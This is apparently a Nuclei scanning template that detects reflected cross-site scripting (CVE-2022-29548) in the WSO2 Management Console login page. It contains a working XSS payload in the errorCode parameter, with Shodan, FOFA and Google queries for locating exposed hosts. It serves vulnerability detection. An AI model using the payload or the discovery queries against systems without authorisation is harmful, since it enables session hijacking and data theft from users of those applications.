id: CVE-2022-29548

info:
  name: WSO2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WSO2 contains a reflected cross-site scripting vulnerability in the Management Console of API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0, and 4.0.0; API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0; IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0; Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0; Identity Server Analytics 5.5.0 and 5.6.0; and WSO2 Micro Integrator 1.0.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Apply the latest security patches or updates provided by WSO2 to fix the XSS vulnerability.
  reference:
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29548
    - http://packetstormsecurity.com/files/167587/WSO2-Management-Console-Cross-Site-Scripting.html
    - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2022/WSO2-2021-1603/
    - https://github.com/vishnusomank/GoXploitDB
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29548
    cwe-id: CWE-79
    epss-score: 0.76361
    epss-percentile: 0.98956
    cpe: cpe:2.3:a:wso2:api_manager:2.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve,cve2022,wso2,xss,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CARBON.showWarningDialog('???');alert(document.domain)//???"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204fc84a60cdda1aa8cc93f06a020a60a81fb2a1b29954e1c8122caa2ccdfec8cd02202b7b6ffcb2009da371d5e3b9abfae07741f0c97e0e9da04a6d6231072e7c5e98:922c64590222798bb761d5b6d8e72950